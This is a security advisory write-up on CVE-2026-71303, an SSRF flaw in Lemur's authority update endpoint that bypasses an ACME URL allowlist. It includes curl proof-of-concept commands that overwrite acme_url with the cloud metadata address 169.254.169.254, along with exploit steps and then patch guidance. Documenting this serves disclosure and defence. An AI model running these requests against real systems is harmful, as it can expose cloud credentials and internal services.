Listen to this Post
The fix for GitHub Security Advisory (GHSA) `GHSA-v2wp-frmc-5q3v` introduced the `_validate_acme_url()` function to reject `acme_url` values not in the ACME_DIRECTORY_HOST_ALLOWLIST. This validation is, however, only called at the time of authority creation via the POST endpoint. The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary `options` – including a modified `acme_url` – without invoking the allowlist check. Consequently, any user with an authority role, which is granted by an admin to allow issuing certificates via that authority, can overwrite the stored `acme_url` with an internal IP or Instance Metadata Service (IMDS) endpoint.
The subsequent certificate issuance via that compromised authority causes Lemur’s backend to fetch the attacker-controlled URL, achieving Server-Side Request Forgery (SSRF). This vulnerability is tracked as CVE-2026-71303 and affects Lemur versions prior to 1.9.3. The flaw exists because the `StrictRolePermission().can()` check passes for any non-read-only user under the default configuration (LEMUR_STRICT_ROLE_ENFORCEMENT = False). Thus, any user granted membership in an authority’s role group can call the vulnerable PUT endpoint to overwrite the acme_url. This effectively bypasses the creation-time mitigation originally implemented for CVE-2026-55166.
DailyCVE Form:
Platform: Lemur
Version: < 1.9.3
Vulnerability: SSRF
Severity: High (CVSS 7.7)
date: 2026-08-18
Prediction: Patch expected in version 1.9.3
What Undercode Say:
Analytics of this vulnerability reveal that the core issue is an incomplete fix for a previous security advisory. The primary misconfiguration is the lack of re-validation on the update path, which allows a bypass of the ACME_DIRECTORY_HOST_ALLOWLIST. The following commands and code snippets demonstrate the vulnerability:
Vulnerable Code Snippets:
Creation (Protected): `lemur/plugins/lemur_acme/plugin.py` lines 333-337
if option.get("name") == "acme_url":
_validate_acme_url(option.get("value", "")) allowlist enforced
Update (Unprotected): `lemur/authorities/views.py` lines 405-424
return service.update(
owner=data["owner"],
description=data["description"],
active=data["active"],
roles=data["roles"],
options=data.get("options") stored verbatim -- no ACME URL check
)
Service Update: `lemur/authorities/service.py` lines 28-46
if options: authority.options = options written to DB with no _validate_acme_url call
SSRF Sink: `lemur/plugins/lemur_acme/acme_handlers.py` lines 157-188
directory_url = options.get("acme_url", ...)
directory = ClientV2.get_directory(directory_url, net) outbound HTTP to stored URL
Proof of Concept (PoC) Commands:
1. Authenticate as a non-admin user:
curl -X POST http://lemur.example.com/api/1/auth/login \
-H "Content-Type: application/json" \
-d '{"username": "alice", "password": "..."}'
2. Overwrite `acme_url` with an internal IMDS endpoint:
curl -X PUT http://lemur.example.com/api/1/authorities/1 \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"owner": "[email protected]",
"description": "Let'\''s Encrypt Production",
"active": true,
"roles": [{"id": 5}, {"id": 6}, {"id": 7}],
"options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}'
3. Trigger SSRF: Issue any certificate via the compromised authority. Lemur’s backend will then make an outbound request to the attacker-controlled URL.
Exploit: (Educational Purposes!)
An attacker with a valid Lemur session token and membership in an ACME authority’s role can exploit this vulnerability:
1. Authenticate to Lemur as the non-admin user.
- Overwrite the `acme_url` of an existing authority via a PUT request to
/api/1/authorities/<id>, setting it to a malicious URL (e.g., `http://169.254.169.254/latest/meta-data/`). - Trigger a certificate issuance using the compromised authority.
- Achieve SSRF, allowing the attacker to read sensitive instance metadata or probe internal services.
Protection:
To mitigate this vulnerability:
Upgrade Lemur to version 1.9.3 or later.
If an immediate upgrade is not possible, apply the suggested fix by calling `_validate_acme_url()` inside `service.update()` (or in
Authorities.put) whenever the `options` field is provided and the authority uses an ACME-based issuer plugin.
Ensure `LEMUR_STRICT_ROLE_ENFORCEMENT` is set to `True` to enforce stricter role-based access control.
Impact:
An authenticated Lemur user with membership in any ACME authority’s role group can overwrite that authority’s `acme_url` with an arbitrary URL. This bypasses the `ACME_DIRECTORY_HOST_ALLOWLIST` enforced at creation time. On the next certificate issuance, Lemur’s backend issues an outbound HTTP request to the attacker-controlled URL. This can lead to:
Exfiltration of cloud metadata: In cloud-hosted deployments, this allows reading the instance metadata service (e.g., AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials.
Internal network probing: In on-premises or private-cloud deployments, this allows probing internal services that the Lemur server can reach but external callers cannot.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

